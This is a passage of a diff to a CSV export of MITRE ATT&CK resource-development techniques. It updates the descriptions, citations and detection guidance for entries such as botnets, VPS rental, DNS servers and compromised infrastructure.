'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/005', 'external_id': 'T1583.005'}, {'source_name': 'Norton Botnet', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html'}, {'source_name': 'Imperva DDoS for Hire', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/'}, {'source_name': 'Krebs-Anna', 'description': 'Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'}, {'source_name': 'Krebs-Bazaar', 'description': 'Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/'}, {'source_name': 'Krebs-Booter', 'description': 'Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/'}]",1.0,attack-pattern,attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:49:05.467Z,2021-04-15T02:49:14.664Z,Botnet,"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)",['resource-development'],https://attack.mitre.org/techniques/T1583/005,mitre-attack,T1583.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/004', 'external_id': 'T1583.004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:48:09.578Z,2021-10-17T15:39:45.736Z,Server,"Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. -By compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5,attack-pattern,['resource-development'],2021-04-15T03:01:54.609Z,2020-10-01T00:54:30.869Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584.001', 'url': 'https://attack.mitre.org/techniques/T1584/001'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Microsoft Sub Takeover 2020', 'url': 'https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover', 'description': 'Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1584/001,mitre-attack,T1584.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domains,"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) An adversary may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps. +Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",['resource-development'],https://attack.mitre.org/techniques/T1583/004,mitre-attack,T1583.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) -Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)",attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba,attack-pattern,['resource-development'],2021-04-15T03:02:43.030Z,2020-10-01T00:51:28.513Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.006', 'url': 'https://attack.mitre.org/techniques/T1583/006'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/006,mitre-attack,T1583.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Services,"Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54,attack-pattern,['resource-development'],2021-04-15T02:53:19.246Z,2020-10-01T00:50:29.936Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.005', 'url': 'https://attack.mitre.org/techniques/T1583/005'}, {'source_name': 'Norton Botnet', 'url': 'https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html', 'description': 'Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.'}, {'source_name': 'Imperva DDoS for Hire', 'url': 'https://www.imperva.com/learn/ddos/booters-stressers-ddosers/', 'description': 'Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.'}, {'source_name': 'Krebs-Anna', 'description': 'Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/'}, {'source_name': 'Krebs-Bazaar', 'description': 'Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/'}, {'source_name': 'Krebs-Booter', 'description': 'Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.', 'url': 'https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/005,mitre-attack,T1583.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Botnet,"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)",attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074,attack-pattern,['resource-development'],2021-04-15T02:49:14.664Z,2020-10-01T00:49:05.467Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.004', 'url': 'https://attack.mitre.org/techniques/T1583/004'}, {'source_name': 'NYTStuxnet', 'description': 'William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.', 'url': 'https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/004,mitre-attack,T1583.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Server,"Adversaries may buy, lease, or rent physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control. Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/003', 'external_id': 'T1583.003'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:44:23.935Z,2021-10-17T15:36:59.315Z,Virtual Private Server,"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. -Adversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)",attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337,attack-pattern,['resource-development'],2021-04-15T02:51:18.167Z,2020-10-01T00:48:09.578Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.003', 'url': 'https://attack.mitre.org/techniques/T1583/003'}, {'source_name': 'TrendmicroHideoutsLease', 'description': 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.', 'url': 'https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/003,mitre-attack,T1583.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Virtual Private Server,"Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure. +Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",['resource-development'],https://attack.mitre.org/techniques/T1583/003,mitre-attack,T1583.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content']",,"Once adversaries have provisioned a VPS (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) -Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)",attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795,attack-pattern,['resource-development'],2021-04-15T02:52:41.901Z,2020-10-01T00:44:23.935Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.002', 'url': 'https://attack.mitre.org/techniques/T1583/002'}, {'source_name': 'Unit42 DNS Mar 2019', 'url': 'https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/', 'description': 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/002,mitre-attack,T1583.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,DNS Server,"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. +Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1583/002', 'external_id': 'T1583.002'}, {'source_name': 'Unit42 DNS Mar 2019', 'description': 'Hinchliffe, A. (2019, March 15). DNS Tunneling: how DNS can be (ab)used by malicious actors. Retrieved October 3, 2020.', 'url': 'https://unit42.paloaltonetworks.com/dns-tunneling-how-dns-can-be-abused-by-malicious-actors/'}]",1.0,attack-pattern,attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:40:45.279Z,2021-04-15T02:49:49.702Z,DNS Server,"Adversaries may set up their own Domain Name System (DNS) servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of hijacking existing DNS servers, adversaries may opt to configure and run their own DNS servers in support of operations. -By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",attack-pattern--197ef1b9-e764-46c3-b96c-23f77985dc81,attack-pattern,['resource-development'],2021-04-15T02:49:49.702Z,2020-10-01T00:40:45.279Z,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1584', 'url': 'https://attack.mitre.org/techniques/T1584'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Talos DNSpionage Nov 2018', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.'}, {'source_name': 'FireEye EPS Awakens Part 2', 'description': 'Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'}, {'source_name': 'NSA NCSC Turla OilRig', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,False,https://attack.mitre.org/techniques/T1584,mitre-attack,T1584,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Compromise Infrastructure,"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. +By running their own DNS servers, adversaries can have more control over how they administer server-side DNS C2 traffic ([DNS](https://attack.mitre.org/techniques/T1071/004)). With control over a DNS server, adversaries can configure DNS applications to provide conditional responses to malware and, generally, have more flexibility in the structure of the DNS-based C2 channel.(Citation: Unit42 DNS Mar 2019)",['resource-development'],https://attack.mitre.org/techniques/T1583/002,mitre-attack,T1583.002,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",True,,['PRE'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1584', 'external_id': 'T1584'}, {'source_name': 'Mandiant APT1', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf'}, {'source_name': 'ICANNDomainNameHijacking', 'description': 'ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.', 'url': 'https://www.icann.org/groups/ssac/documents/sac-007-en'}, {'source_name': 'Talos DNSpionage Nov 2018', 'description': 'Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020.', 'url': 'https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html'}, {'source_name': 'FireEye EPS Awakens Part 2', 'description': 'Winters, R.. (2015, December 20). The EPS Awakens - Part 2. Retrieved January 22, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html'}, {'source_name': 'NSA NCSC Turla OilRig', 'description': 'NSA/NCSC. (2019, October 21). Cybersecurity Advisory: Turla Group Exploits Iranian APT To Expand Coverage Of Victims. Retrieved October 16, 2020.', 'url': 'https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf'}, {'source_name': 'ThreatConnect Infrastructure Dec 2020', 'description': 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.', 'url': 'https://threatconnect.com/blog/infrastructure-research-hunting/'}, {'source_name': 'Mandiant SCANdalous Jul 2020', 'description': 'Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.', 'url': 'https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation'}, {'source_name': 'Koczwara Beacon Hunting Sep 2021', 'description': 'Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.', 'url': 'https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2'}]",1.1,attack-pattern,attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-10-01T00:36:30.759Z,2021-10-17T16:01:48.871Z,Compromise Infrastructure,"Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, and third-party web services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage. -Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",attack-pattern--7e3beebd-8bfe-4e7b-a892-e44ab06a75f9,attack-pattern,['resource-development'],2021-04-15T03:04:40.423Z,2020-10-01T00:36:30.759Z,"Much of this activity will take place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",,,,,['PRE'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1583.001', 'url': 'https://attack.mitre.org/techniques/T1583/001'}, {'external_id': 'CAPEC-630', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/630.html'}, {'source_name': 'CISA MSS Sep 2020', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa20-258a', 'description': 'CISA. (2020, September 14). Alert (AA20-258A): Chinese Ministry of State Security-Affiliated Cyber Threat Actor Activity. Retrieved October 1, 2020.'}, {'source_name': 'FireEye APT28', 'description': 'FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.', 'url': 'https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf'}, {'source_name': 'PaypalScam', 'description': ""Bob Sullivan. (2000, July 24). PayPal alert! Beware the 'PaypaI' scam. Retrieved March 2, 2017."", 'url': 'https://www.zdnet.com/article/paypal-alert-beware-the-paypai-scam-5000109103/'}, {'source_name': 'CISA IDN ST05-016', 'url': 'https://us-cert.cisa.gov/ncas/tips/ST05-016', 'description': 'CISA. (2019, September 27). Security Tip (ST05-016): Understanding Internationalized Domain Names. Retrieved October 20, 2020.'}, {'url': 'https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf', 'description': 'Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.', 'source_name': 'Mandiant APT1'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'resource-development'}]",1.0,True,https://attack.mitre.org/techniques/T1583/001,mitre-attack,T1583.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Domains,"Adversaries may purchase domains that can be used during targeting. Domain names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. +Use of compromised infrastructure allows an adversary to stage, launch, and execute an operation. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)",['resource-development'],https://attack.mitre.org/techniques/T1584,mitre-attack,T1584,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Internet Scan: Response Metadata', 'Internet Scan: Response Content', 'Domain Name: Active DNS', 'Domain Name: Passive DNS', 'Domain Name: Domain Registration']",,"Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet. + +Once adversaries have provisioned compromised infrastructure (ex: a server for use in command and control), internet scans may help proactively discover compromised infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021) + +Detection efforts may be focused on related stages of the adversary 